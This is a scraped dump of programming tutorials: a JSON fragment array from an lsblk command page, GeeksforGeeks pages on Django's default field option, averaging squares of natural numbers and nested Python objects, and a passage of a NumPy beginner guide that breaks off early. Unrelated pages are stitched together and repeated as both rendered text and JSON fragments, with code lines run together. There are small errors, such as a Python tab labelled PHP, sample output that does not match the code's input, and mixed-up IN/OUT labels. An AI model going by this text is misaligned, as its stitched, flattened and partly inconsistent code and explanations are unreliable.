"code": null,
"e": 25422,
"s": 25412,
"text": "$lsblk -b"
},
{
"code": null,
"e": 25490,
"s": 25422,
"text": "It displays all the block devices along with their sizes in bytes. "
},
{
"code": null,
"e": 25528,
"s": 25490,
"text": "4. To print zone model for devices. "
},
{
"code": null,
"e": 25539,
"s": 25528,
"text": "$lsblk -z "
},
{
"code": null,
"e": 25567,
"s": 25539,
"text": "5. To skip slave entries. "
},
{
"code": null,
"e": 25578,
"s": 25567,
"text": "$lsblk -d "
},
{
"code": null,
"e": 25617,
"s": 25578,
"text": "This will skip all the slave entries. "
},
{
"code": null,
"e": 25666,
"s": 25617,
"text": "6.To use ASCII characters for tree formatting. "
},
{
"code": null,
"e": 25677,
"s": 25666,
"text": "$lsblk -i "
},
{
"code": null,
"e": 25745,
"s": 25677,
"text": "This will display the tree formatting with ASCII character values. "
},
{
"code": null,
"e": 25825,
"s": 25745,
"text": "7. To print information about device owner, group, and mode of block devices. "
},
{
"code": null,
"e": 25836,
"s": 25825,
"text": "$lsblk -m "
},
{
"code": null,
"e": 25917,
"s": 25836,
"text": "This will display all details of device owner, group and mode of block devices. "
},
{
"code": null,
"e": 25965,
"s": 25917,
"text": "8. To print selected columns of block-devices. "
},
{
"code": null,
"e": 25999,
"s": 25965,
"text": "$lsblk -o SIZE, NAME, MOUNTPOINT "
},
{
"code": null,
"e": 26044,
"s": 25999,
"text": "This will print only the specified columns. "
},
{
"code": null,
"e": 26074,
"s": 26044,
"text": "9. To hide column headings. "
},
{
"code": null,
"e": 26085,
"s": 26074,
"text": "$lsblk -dn"
},
{
"code": null,
"e": 26118,
"s": 26085,
"text": "This will hide column headings. "
},
{
"code": null,
"e": 26164,
"s": 26118,
"text": "10. To display help section of the command. "
},
{
"code": null,
"e": 26179,
"s": 26164,
"text": "$lsblk --help "
},
{
"code": null,
"e": 26231,
"s": 26179,
"text": "This will display the help section of the command. "
},
{
"code": null,
"e": 26244,
"s": 26231,
"text": "simmytarika5"
},
{
"code": null,
"e": 26260,
"s": 26244,
"text": "\nlinux-command\n"
},
{
"code": null,
"e": 26284,
"s": 26260,
"text": "\nLinux-system-commands\n"
},
{
"code": null,
"e": 26297,
"s": 26284,
"text": "\nLinux-Unix\n"
},
{
"code": null,
"e": 26502,
"s": 26297,
"text": "Writing code in comment? \n Please use ide.geeksforgeeks.org, \n generate link and share the link here.\n "
},
{
"code": null,
"e": 26540,
"s": 26502,
"text": "TCP Server-Client implementation in C"
},
{
"code": null,
"e": 26575,
"s": 26540,
"text": "tar command in Linux with examples"
},
{
"code": null,
"e": 26613,
"s": 26575,
"text": "UDP Server-Client implementation in C"
},
{
"code": null,
"e": 26649,
"s": 26613,
"text": "curl command in Linux with Examples"
},
{
"code": null,
"e": 26682,
"s": 26649,
"text": "'crontab' in Linux with Examples"
},
{
"code": null,
"e": 26720,
"s": 26682,
"text": "Conditional Statements | Shell Script"
},
{
"code": null,
"e": 26756,
"s": 26720,
"text": "diff command in Linux with examples"
},
{
"code": null,
"e": 26791,
"s": 26756,
"text": "Cat command in Linux with examples"
},
{
"code": null,
"e": 26827,
"s": 26791,
"text": "echo command in Linux with Examples"
}
] |
default - Django Built-in Field Validation - GeeksforGeeks
|
24 Jun, 2020
Built-in Field Validations in Django models are the validations that come predefined to all Django fields. Every field comes in with built-in validations from Django validators. One can also add more built-in field validations for applying or removing certain constraints on a particular field. default=value will make the field default to value. There will be no need to explicitly define any value, even if field is not entered it will default to value. Value depends upon field itself, as if field is datefield, it will accept only date values with predefined validations.
Syntax
field_name = models.Field(default = value)
Illustration of default=value using an Example. Consider a project named geeksforgeeks having an app named geeks.
Refer to the following articles to check how to create a project and an app in Django.
How to Create a Basic Project using MVT in Django?
How to Create an App in Django ?
Enter the following code into models.py file of geeks app. We will be using CharField for experimenting for all field options.
from django.db import modelsfrom django.db.models import Model# Create your models here. class GeeksModel(Model): geeks_field = models.CharField(max_length = 200, default = "GFG is best")
After running makemigrations and migrate on Django and rendering the above model, let us try to create an instance using None from Django shell. To start Django shell, enter the command,
Python manage.py shell
Now let us try to create instance of GeeksModel using None.
# importing required modelfrom geeks.models import GeeksModel # creating instance of GeeksModel# without entering anythings = GeeksModel.objects.create() # saving current model instances.save()
Let us check in admin interface if the instance of model is created.Therefore, default=value modifies the field to set default value for a particular field.
In BooleanField, if one wants to enable or disable the field by default, it can be easily done using default=True and default=false simultaneously.
NaveenArora
sethiojas
Django-models
Python Django
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Python Dictionary
Read a file line by line in Python
Enumerate() in Python
How to Install PIP on Windows ?
Iterate over a list in Python
Different ways to create Pandas Dataframe
Python String | replace()
Python program to convert a list to string
Reading and Writing to text files in Python
Create a Pandas DataFrame from Lists
|
[
{
"code": null,
"e": 24170,
"s": 24142,
"text": "\n24 Jun, 2020"
},
{
"code": null,
"e": 24746,
"s": 24170,
"text": "Built-in Field Validations in Django models are the validations that come predefined to all Django fields. Every field comes in with built-in validations from Django validators. One can also add more built-in field validations for applying or removing certain constraints on a particular field. default=value will make the field default to value. There will be no need to explicitly define any value, even if field is not entered it will default to value. Value depends upon field itself, as if field is datefield, it will accept only date values with predefined validations."
},
{
"code": null,
"e": 24753,
"s": 24746,
"text": "Syntax"
},
{
"code": null,
"e": 24796,
"s": 24753,
"text": "field_name = models.Field(default = value)"
},
{
"code": null,
"e": 24910,
"s": 24796,
"text": "Illustration of default=value using an Example. Consider a project named geeksforgeeks having an app named geeks."
},
{
"code": null,
"e": 24997,
"s": 24910,
"text": "Refer to the following articles to check how to create a project and an app in Django."
},
{
"code": null,
"e": 25048,
"s": 24997,
"text": "How to Create a Basic Project using MVT in Django?"
},
{
"code": null,
"e": 25081,
"s": 25048,
"text": "How to Create an App in Django ?"
},
{
"code": null,
"e": 25208,
"s": 25081,
"text": "Enter the following code into models.py file of geeks app. We will be using CharField for experimenting for all field options."
},
{
"code": "from django.db import modelsfrom django.db.models import Model# Create your models here. class GeeksModel(Model): geeks_field = models.CharField(max_length = 200, default = \"GFG is best\")",
"e": 25400,
"s": 25208,
"text": null
},
{
"code": null,
"e": 25587,
"s": 25400,
"text": "After running makemigrations and migrate on Django and rendering the above model, let us try to create an instance using None from Django shell. To start Django shell, enter the command,"
},
{
"code": null,
"e": 25610,
"s": 25587,
"text": "Python manage.py shell"
},
{
"code": null,
"e": 25670,
"s": 25610,
"text": "Now let us try to create instance of GeeksModel using None."
},
{
"code": "# importing required modelfrom geeks.models import GeeksModel # creating instance of GeeksModel# without entering anythings = GeeksModel.objects.create() # saving current model instances.save()",
"e": 25866,
"s": 25670,
"text": null
},
{
"code": null,
"e": 26023,
"s": 25866,
"text": "Let us check in admin interface if the instance of model is created.Therefore, default=value modifies the field to set default value for a particular field."
},
{
"code": null,
"e": 26171,
"s": 26023,
"text": "In BooleanField, if one wants to enable or disable the field by default, it can be easily done using default=True and default=false simultaneously."
},
{
"code": null,
"e": 26183,
"s": 26171,
"text": "NaveenArora"
},
{
"code": null,
"e": 26193,
"s": 26183,
"text": "sethiojas"
},
{
"code": null,
"e": 26207,
"s": 26193,
"text": "Django-models"
},
{
"code": null,
"e": 26221,
"s": 26207,
"text": "Python Django"
},
{
"code": null,
"e": 26228,
"s": 26221,
"text": "Python"
},
{
"code": null,
"e": 26326,
"s": 26228,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26335,
"s": 26326,
"text": "Comments"
},
{
"code": null,
"e": 26348,
"s": 26335,
"text": "Old Comments"
},
{
"code": null,
"e": 26366,
"s": 26348,
"text": "Python Dictionary"
},
{
"code": null,
"e": 26401,
"s": 26366,
"text": "Read a file line by line in Python"
},
{
"code": null,
"e": 26423,
"s": 26401,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 26455,
"s": 26423,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 26485,
"s": 26455,
"text": "Iterate over a list in Python"
},
{
"code": null,
"e": 26527,
"s": 26485,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 26553,
"s": 26527,
"text": "Python String | replace()"
},
{
"code": null,
"e": 26596,
"s": 26553,
"text": "Python program to convert a list to string"
},
{
"code": null,
"e": 26640,
"s": 26596,
"text": "Reading and Writing to text files in Python"
}
] |
Average of Squares of Natural Numbers - GeeksforGeeks
|
24 Mar, 2021
Given a number n, find the average of square of natural Numbers till nExamples :
Input : n = 2
Output :2.5
12 + 22 = 2.5
Input : n = 3
Output : 4.666667
12 + 22 + 32 = 4.666667
Naive approach : A naive approach will be to run a loop from 1 to n and and find the average of sum up all the squares.
C
C++
Java
Python3
C#
PHP
Javascript
// C program to calculate 1^2+2^2+3^2+... average// of square number#include <stdio.h> // Function to calculate average of square numberfloat AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum/n;} // Driver codeint main(){ int n = 2; printf("%f", AvgofSquareN(n)); return 0;}
// C++ program to calculate 1^2+2^2+3^2+...// average of square number#include<bits/stdc++.h>using namespace std; // Function to calculate average of squaresfloat AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum/n;} // Driver codeint main(){ int n = 2; cout << AvgofSquareN(n) ; return 0;}
// Java program to calculate 1^2+2^2+3^2+// ... average of square numberimport java.io.*; public class GFG{ // Function to calculate average// of square numberstatic float AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum / n;} // Driver codestatic public void main (String[] args){ int n = 2; System.out.println(AvgofSquareN(n)); }} // This code is contributed by vt_m.
# Python program to# calculate 1^2+2^2+3^2+...# average of square number # Function to calculate# average of square numberdef AvgofSquareN(n) : sum = 0 for i in range(1, n + 1) : sum += (i * i) return sum/n # Driver coden = 2print (AvgofSquareN(n)) # This code is contributed by# Manish Shaw(manishshaw1)
// C# program to calculate 1^2+2^2+3^2+// ... average of square numberusing System; public class GFG{ // Function to calculate average// of square numberstatic float AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum / n;} // Driver codestatic public void Main (String []args){ int n = 2; Console.WriteLine(AvgofSquareN(n)); }} // This code is contributed by vt_m.
<?php// PHP program to calculate 1^2+2^2+3^2+...// average of square number // Function to calculate average// of square numberfunction AvgofSquareN( $n){ $sum = 0; for ($i = 1; $i <= $n; $i++) $sum += ($i * $i); return $sum/$n;} // Driver code $n = 2; echo(AvgofSquareN($n)); // This code is contributed by vt_m.?>
<script>// javascript program to calculate 1^2+2^2+3^2+... average// of square number // Function to calculate average of square numberfunction AvgofSquareN( n){ let sum = 0; for (let i = 1; i <= n; i++) sum += (i * i); return sum/n;} // Driver code let n = 2; document.write(AvgofSquareN(n).toFixed(6)); // This code is contributed by todaysgaurav </script>
Output :
2.500000
Time Complexity: O(n)Space Complexity: O(1)Efficient Approach : Sum of squares of natural numbers (n + 1)(2n + 1) / 6. Therefore average is n(n + 1)(2n + 1) / 6 * n = (n + 1)(2n + 1) / 6.
C
C++
Java
Python3
C#
PHP
Javascript
// C program to get the Average of Square// of first n natural numbers#include <stdio.h> float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codeint main(){ int n = 10; printf("%f", AvgofSquareN(n)); return 0;}
// C++ program to get the Average of Square// of first n natural numbers#include<bits/stdc++.h>using namespace std; float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codeint main(){ int n = 10; cout << AvgofSquareN(n) ; return 0;}
// Java program to get the Average of// square of first n natural numbersimport java.io.*; public class GFG{ // Function to get the averagestatic float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codestatic public void main (String[] args){ int n = 2; System.out.println(AvgofSquareN(n)); }} // This code is contributed by vt_m.
# PHP program to get the Average of# Square of first n natural numbers def AvgofSquareN(n) : return ((n + 1) * (2 * n + 1)) / 6; # Driver Coden = 2;print (AvgofSquareN(n)); # This code is contributed by Manish Shaw# (manishshaw1)
// C# program to get the Average of// squareof first n natural numbersusing System; public class GFG{ // Function to calculate averagestatic float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codestatic public void Main (String []args){ int n = 2; Console.WriteLine(AvgofSquareN(n));}} // This code is contributed by vt_m.
<?php// PHP program to get the Average of// Square of first n natural numbers function AvgofSquareN( $n){ return (($n + 1) * (2 * $n + 1)) / 6;} // Driver Code $n = 2; echo(AvgofSquareN($n)); // This code is contributed by vt_m.?>
<script>// javascript program to get the Average of// square of first n natural numberspublic // Function to get the averagefunction AvgofSquareN(n){ return ((n + 1) * (2 * n + 1)) / 6;} // Driver Codevar n = 2;document.write(AvgofSquareN(n)); // This code is contributed by Amit Katiyar</script>
2.500000
Time Complexity: O(1)Space Complexity: O(1)
vt_m
manishshaw1
himanshu77
todaysgaurav
amit143katiyar
series
series-sum
Mathematical
Mathematical
series
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Algorithm to solve Rubik's Cube
Program to convert a given number to words
Modular multiplicative inverse
Count ways to reach the n'th stair
Program to multiply two matrices
Fizz Buzz Implementation
Program to print prime numbers from 1 to N.
Singular Value Decomposition (SVD)
Find first and last digits of a number
Check if a number is Palindrome
|
[
{
"code": null,
"e": 24612,
"s": 24584,
"text": "\n24 Mar, 2021"
},
{
"code": null,
"e": 24695,
"s": 24612,
"text": "Given a number n, find the average of square of natural Numbers till nExamples : "
},
{
"code": null,
"e": 24793,
"s": 24695,
"text": "Input : n = 2\nOutput :2.5\n12 + 22 = 2.5\n\nInput : n = 3\nOutput : 4.666667\n12 + 22 + 32 = 4.666667"
},
{
"code": null,
"e": 24916,
"s": 24795,
"text": "Naive approach : A naive approach will be to run a loop from 1 to n and and find the average of sum up all the squares. "
},
{
"code": null,
"e": 24918,
"s": 24916,
"text": "C"
},
{
"code": null,
"e": 24922,
"s": 24918,
"text": "C++"
},
{
"code": null,
"e": 24927,
"s": 24922,
"text": "Java"
},
{
"code": null,
"e": 24935,
"s": 24927,
"text": "Python3"
},
{
"code": null,
"e": 24938,
"s": 24935,
"text": "C#"
},
{
"code": null,
"e": 24942,
"s": 24938,
"text": "PHP"
},
{
"code": null,
"e": 24953,
"s": 24942,
"text": "Javascript"
},
{
"code": "// C program to calculate 1^2+2^2+3^2+... average// of square number#include <stdio.h> // Function to calculate average of square numberfloat AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum/n;} // Driver codeint main(){ int n = 2; printf(\"%f\", AvgofSquareN(n)); return 0;}",
"e": 25296,
"s": 24953,
"text": null
},
{
"code": "// C++ program to calculate 1^2+2^2+3^2+...// average of square number#include<bits/stdc++.h>using namespace std; // Function to calculate average of squaresfloat AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum/n;} // Driver codeint main(){ int n = 2; cout << AvgofSquareN(n) ; return 0;}",
"e": 25654,
"s": 25296,
"text": null
},
{
"code": "// Java program to calculate 1^2+2^2+3^2+// ... average of square numberimport java.io.*; public class GFG{ // Function to calculate average// of square numberstatic float AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum / n;} // Driver codestatic public void main (String[] args){ int n = 2; System.out.println(AvgofSquareN(n)); }} // This code is contributed by vt_m.",
"e": 26093,
"s": 25654,
"text": null
},
{
"code": "# Python program to# calculate 1^2+2^2+3^2+...# average of square number # Function to calculate# average of square numberdef AvgofSquareN(n) : sum = 0 for i in range(1, n + 1) : sum += (i * i) return sum/n # Driver coden = 2print (AvgofSquareN(n)) # This code is contributed by# Manish Shaw(manishshaw1)",
"e": 26419,
"s": 26093,
"text": null
},
{
"code": "// C# program to calculate 1^2+2^2+3^2+// ... average of square numberusing System; public class GFG{ // Function to calculate average// of square numberstatic float AvgofSquareN(int n){ float sum = 0; for (int i = 1; i <= n; i++) sum += (i * i); return sum / n;} // Driver codestatic public void Main (String []args){ int n = 2; Console.WriteLine(AvgofSquareN(n)); }} // This code is contributed by vt_m.",
"e": 26856,
"s": 26419,
"text": null
},
{
"code": "<?php// PHP program to calculate 1^2+2^2+3^2+...// average of square number // Function to calculate average// of square numberfunction AvgofSquareN( $n){ $sum = 0; for ($i = 1; $i <= $n; $i++) $sum += ($i * $i); return $sum/$n;} // Driver code $n = 2; echo(AvgofSquareN($n)); // This code is contributed by vt_m.?>",
"e": 27202,
"s": 26856,
"text": null
},
{
"code": "<script>// javascript program to calculate 1^2+2^2+3^2+... average// of square number // Function to calculate average of square numberfunction AvgofSquareN( n){ let sum = 0; for (let i = 1; i <= n; i++) sum += (i * i); return sum/n;} // Driver code let n = 2; document.write(AvgofSquareN(n).toFixed(6)); // This code is contributed by todaysgaurav </script>",
"e": 27584,
"s": 27202,
"text": null
},
{
"code": null,
"e": 27595,
"s": 27584,
"text": "Output : "
},
{
"code": null,
"e": 27604,
"s": 27595,
"text": "2.500000"
},
{
"code": null,
"e": 27794,
"s": 27604,
"text": "Time Complexity: O(n)Space Complexity: O(1)Efficient Approach : Sum of squares of natural numbers (n + 1)(2n + 1) / 6. Therefore average is n(n + 1)(2n + 1) / 6 * n = (n + 1)(2n + 1) / 6. "
},
{
"code": null,
"e": 27796,
"s": 27794,
"text": "C"
},
{
"code": null,
"e": 27800,
"s": 27796,
"text": "C++"
},
{
"code": null,
"e": 27805,
"s": 27800,
"text": "Java"
},
{
"code": null,
"e": 27813,
"s": 27805,
"text": "Python3"
},
{
"code": null,
"e": 27816,
"s": 27813,
"text": "C#"
},
{
"code": null,
"e": 27820,
"s": 27816,
"text": "PHP"
},
{
"code": null,
"e": 27831,
"s": 27820,
"text": "Javascript"
},
{
"code": "// C program to get the Average of Square// of first n natural numbers#include <stdio.h> float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codeint main(){ int n = 10; printf(\"%f\", AvgofSquareN(n)); return 0;}",
"e": 28084,
"s": 27831,
"text": null
},
{
"code": "// C++ program to get the Average of Square// of first n natural numbers#include<bits/stdc++.h>using namespace std; float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codeint main(){ int n = 10; cout << AvgofSquareN(n) ; return 0;}",
"e": 28359,
"s": 28084,
"text": null
},
{
"code": "// Java program to get the Average of// square of first n natural numbersimport java.io.*; public class GFG{ // Function to get the averagestatic float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codestatic public void main (String[] args){ int n = 2; System.out.println(AvgofSquareN(n)); }} // This code is contributed by vt_m. ",
"e": 28748,
"s": 28359,
"text": null
},
{
"code": "# PHP program to get the Average of# Square of first n natural numbers def AvgofSquareN(n) : return ((n + 1) * (2 * n + 1)) / 6; # Driver Coden = 2;print (AvgofSquareN(n)); # This code is contributed by Manish Shaw# (manishshaw1)",
"e": 28984,
"s": 28748,
"text": null
},
{
"code": "// C# program to get the Average of// squareof first n natural numbersusing System; public class GFG{ // Function to calculate averagestatic float AvgofSquareN(int n){ return (float)((n + 1) * (2 * n + 1)) / 6;} // Driver Codestatic public void Main (String []args){ int n = 2; Console.WriteLine(AvgofSquareN(n));}} // This code is contributed by vt_m.",
"e": 29365,
"s": 28984,
"text": null
},
{
"code": "<?php// PHP program to get the Average of// Square of first n natural numbers function AvgofSquareN( $n){ return (($n + 1) * (2 * $n + 1)) / 6;} // Driver Code $n = 2; echo(AvgofSquareN($n)); // This code is contributed by vt_m.?>",
"e": 29609,
"s": 29365,
"text": null
},
{
"code": "<script>// javascript program to get the Average of// square of first n natural numberspublic // Function to get the averagefunction AvgofSquareN(n){ return ((n + 1) * (2 * n + 1)) / 6;} // Driver Codevar n = 2;document.write(AvgofSquareN(n)); // This code is contributed by Amit Katiyar</script>",
"e": 29929,
"s": 29609,
"text": null
},
{
"code": null,
"e": 29938,
"s": 29929,
"text": "2.500000"
},
{
"code": null,
"e": 29983,
"s": 29938,
"text": "Time Complexity: O(1)Space Complexity: O(1) "
},
{
"code": null,
"e": 29988,
"s": 29983,
"text": "vt_m"
},
{
"code": null,
"e": 30000,
"s": 29988,
"text": "manishshaw1"
},
{
"code": null,
"e": 30011,
"s": 30000,
"text": "himanshu77"
},
{
"code": null,
"e": 30024,
"s": 30011,
"text": "todaysgaurav"
},
{
"code": null,
"e": 30039,
"s": 30024,
"text": "amit143katiyar"
},
{
"code": null,
"e": 30046,
"s": 30039,
"text": "series"
},
{
"code": null,
"e": 30057,
"s": 30046,
"text": "series-sum"
},
{
"code": null,
"e": 30070,
"s": 30057,
"text": "Mathematical"
},
{
"code": null,
"e": 30083,
"s": 30070,
"text": "Mathematical"
},
{
"code": null,
"e": 30090,
"s": 30083,
"text": "series"
},
{
"code": null,
"e": 30188,
"s": 30090,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 30197,
"s": 30188,
"text": "Comments"
},
{
"code": null,
"e": 30210,
"s": 30197,
"text": "Old Comments"
},
{
"code": null,
"e": 30242,
"s": 30210,
"text": "Algorithm to solve Rubik's Cube"
},
{
"code": null,
"e": 30285,
"s": 30242,
"text": "Program to convert a given number to words"
},
{
"code": null,
"e": 30316,
"s": 30285,
"text": "Modular multiplicative inverse"
},
{
"code": null,
"e": 30351,
"s": 30316,
"text": "Count ways to reach the n'th stair"
},
{
"code": null,
"e": 30384,
"s": 30351,
"text": "Program to multiply two matrices"
},
{
"code": null,
"e": 30409,
"s": 30384,
"text": "Fizz Buzz Implementation"
},
{
"code": null,
"e": 30453,
"s": 30409,
"text": "Program to print prime numbers from 1 to N."
},
{
"code": null,
"e": 30488,
"s": 30453,
"text": "Singular Value Decomposition (SVD)"
},
{
"code": null,
"e": 30527,
"s": 30488,
"text": "Find first and last digits of a number"
}
] |
Access object within another objects in Python - GeeksforGeeks
|
20 Aug, 2020
Prerequisite: Basics of OOPs in Python
In this article, we will learn how to access object methods and attributes within other objects in Python. If we have two different classes and one of these defined another class on calling the constructor. Then, the method and attributes of another class can be accessed by first class objects ( i.e; objects within objects ).
Here in the below example we learn to access object (its methods and attributes) within an object. We define two classes (class first and class second) with proper definitions.
First class consists of a constructor and a method.
The constructor form an object of the second class in the attribute of the first class.
The method defines the presence in first class method.
Similarly, the second class consists of a constructor and a method.
The constructor form an attribute.
The method defines the presence in the second class method.
As the attribute of first class work as an object of the second class so all the methods and attributes of the second class can be accessed using this:
object_of_first_class.attribute_of_first_class
Below is the implementation:
Python3
# python program to understand the # accessing of objects within objects # define class firstclass first: # constructor def __init__(self): # class second object # is created self.fst = second() def first_method(self): print("Inside first method") # define class secondclass second: # constructor def __init__(self): self.snd = "GFG" def second_method(self): print("Inside second method") # make object of first classobj1 = first()print(obj1) # make object of second class# with the help of firstobj2 = obj1.fstprint(obj2) # access attributes and methods # of second classprint(obj2.snd) obj2.second_method() # This code is contributed# by Deepanshu Rustagi.
Output:
<__main__.first object at 0x7fde6c57b828>
<__main__.second object at 0x7fde6c57b898>
GFG
Inside second method
Python-OOP
python-oop-concepts
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Python Dictionary
Read a file line by line in Python
How to Install PIP on Windows ?
Different ways to create Pandas Dataframe
Python String | replace()
Create a Pandas DataFrame from Lists
Python program to convert a list to string
Selecting rows in pandas DataFrame based on conditions
Reading and Writing to text files in Python
sum() function in Python
|
[
{
"code": null,
"e": 24402,
"s": 24374,
"text": "\n20 Aug, 2020"
},
{
"code": null,
"e": 24441,
"s": 24402,
"text": "Prerequisite: Basics of OOPs in Python"
},
{
"code": null,
"e": 24769,
"s": 24441,
"text": "In this article, we will learn how to access object methods and attributes within other objects in Python. If we have two different classes and one of these defined another class on calling the constructor. Then, the method and attributes of another class can be accessed by first class objects ( i.e; objects within objects )."
},
{
"code": null,
"e": 24947,
"s": 24769,
"text": "Here in the below example we learn to access object (its methods and attributes) within an object. We define two classes (class first and class second) with proper definitions. "
},
{
"code": null,
"e": 24999,
"s": 24947,
"text": "First class consists of a constructor and a method."
},
{
"code": null,
"e": 25087,
"s": 24999,
"text": "The constructor form an object of the second class in the attribute of the first class."
},
{
"code": null,
"e": 25142,
"s": 25087,
"text": "The method defines the presence in first class method."
},
{
"code": null,
"e": 25210,
"s": 25142,
"text": "Similarly, the second class consists of a constructor and a method."
},
{
"code": null,
"e": 25245,
"s": 25210,
"text": "The constructor form an attribute."
},
{
"code": null,
"e": 25305,
"s": 25245,
"text": "The method defines the presence in the second class method."
},
{
"code": null,
"e": 25457,
"s": 25305,
"text": "As the attribute of first class work as an object of the second class so all the methods and attributes of the second class can be accessed using this:"
},
{
"code": null,
"e": 25505,
"s": 25457,
"text": "object_of_first_class.attribute_of_first_class\n"
},
{
"code": null,
"e": 25534,
"s": 25505,
"text": "Below is the implementation:"
},
{
"code": null,
"e": 25542,
"s": 25534,
"text": "Python3"
},
{
"code": "# python program to understand the # accessing of objects within objects # define class firstclass first: # constructor def __init__(self): # class second object # is created self.fst = second() def first_method(self): print(\"Inside first method\") # define class secondclass second: # constructor def __init__(self): self.snd = \"GFG\" def second_method(self): print(\"Inside second method\") # make object of first classobj1 = first()print(obj1) # make object of second class# with the help of firstobj2 = obj1.fstprint(obj2) # access attributes and methods # of second classprint(obj2.snd) obj2.second_method() # This code is contributed# by Deepanshu Rustagi.",
"e": 26296,
"s": 25542,
"text": null
},
{
"code": null,
"e": 26304,
"s": 26296,
"text": "Output:"
},
{
"code": null,
"e": 26417,
"s": 26304,
"text": "<__main__.first object at 0x7fde6c57b828>\n<__main__.second object at 0x7fde6c57b898>\nGFG \nInside second method\n"
},
{
"code": null,
"e": 26428,
"s": 26417,
"text": "Python-OOP"
},
{
"code": null,
"e": 26448,
"s": 26428,
"text": "python-oop-concepts"
},
{
"code": null,
"e": 26455,
"s": 26448,
"text": "Python"
},
{
"code": null,
"e": 26553,
"s": 26455,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26562,
"s": 26553,
"text": "Comments"
},
{
"code": null,
"e": 26575,
"s": 26562,
"text": "Old Comments"
},
{
"code": null,
"e": 26593,
"s": 26575,
"text": "Python Dictionary"
},
{
"code": null,
"e": 26628,
"s": 26593,
"text": "Read a file line by line in Python"
},
{
"code": null,
"e": 26660,
"s": 26628,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 26702,
"s": 26660,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 26728,
"s": 26702,
"text": "Python String | replace()"
},
{
"code": null,
"e": 26765,
"s": 26728,
"text": "Create a Pandas DataFrame from Lists"
},
{
"code": null,
"e": 26808,
"s": 26765,
"text": "Python program to convert a list to string"
},
{
"code": null,
"e": 26863,
"s": 26808,
"text": "Selecting rows in pandas DataFrame based on conditions"
},
{
"code": null,
"e": 26907,
"s": 26863,
"text": "Reading and Writing to text files in Python"
}
] |
A Simple Guide to NumPy in Python | by Frank Andrade | Towards Data Science
|
NumPy is a Python library on which most data science packages such as SciPy (Scientific Python), Matplotlib, and Scikit-learn depends to some extent. It adds support for large, multi-dimensional arrays and matrices, along with a large collection of high-level mathematical functions to operate on these arrays.
Without a doubt, Numpy is a library that you should learn if you are a data science enthusiast. This is why, in this guide, I’ll show you all the things you can do with the Numpy library.
Below, you’ll find the topics covered in this guide:
Table of Contents1. How to Create an Array - Create arrays from lists - Create arrays with 0’s, 1’s, and a random number - Create arrays with a range of elements2. Basic Operations3. Array Manipulation - Transposing and Reshaping a matrix - Indexing and Slicing - Concatenate arrays
To start with this guide, let’s install the Numpy library.
pip install numpy
After this, we have to import the library to start working with Numpy.
import numpy as np
In Numpy, most of the time we work with arrays. An array is a grid of values that contains information about the raw data, how to locate an element, and how to interpret an element. Some examples of arrays are vectors (an array with a single column) and matrices (an array with multiple columns).
There are different ways to create arrays in Numpy. Let’s write some code to create arrays.
We can create an array from Python lists, we just have to insert the list inside np.array() as shown below.
a = np.array([1,2,3])IN [0]: print(a)IN [1]: print(f'Dimension: {a.ndim}')OUT [0]: [1 2 3]OUT [1]: Dimension: 1
We just created a 1D array (we can get the dimension using.ndim). Now let’s create a 2D array.
b = np.array([[1.5,2,3], [4,5,6]],dtype=float)IN [0]: print(b)IN [1]: print(f'Dimension: {b.ndim}')OUT [0]: [[1.5 2. 3. ] [4. 5. 6. ]]OUT [1]: Dimension: 2
A 2D array stores multiple data elements of the same type in a matrix or table-like format with a number of rows and columns.
We can easily create an array filled with 0’s or 1’s and even specify the dimension.
Let’s create an array of 2 rows and 3 columns filled with 0's.
IN [0]: np.zeros([2,3])OUT [0]: array([[0., 0., 0.], [0., 0., 0.]])
In case you want to create a 1D array, write only the number of columns you wish to get.
IN [0]: np.ones(4)OUT [0]: array([1., 1., 1., 1.])
Also, you can create an array with a random number using np.full()
IN [0]: np.full([3,3], 8)OUT [0]: array([[8, 8, 8], [8, 8, 8], [8, 8, 8]])
Just like the built-in range() function, you can create an array with a range of elements. To do so, use np.arange()
IN [0]: np.arange(5,30,5)OUT [0]: array([ 5, 10, 15, 20, 25])
The three arguments included in the code above are:
start: integer starting from which the sequence of integers is to be returned
stop: integer before which the sequence of integers is to be returned (range ends at stop - 1)
step: integer value which determines the increment between each integer in the sequence
Basic operations such as addition, subtraction, multiplication, division, and many more can be easily executed with Numpy.
We’ll use the following Numpy arrays for the operations below.
a = np.array([2,3,4])b = np.array([[3,4,5], [6,7,8]])
To add to two or more arrays use np.add(a,b) or the + sign.
IN [0]: a+bOUT [1]: np.add(b,a)OUT [0]: [[ 5 7 9] [ 8 10 12]]
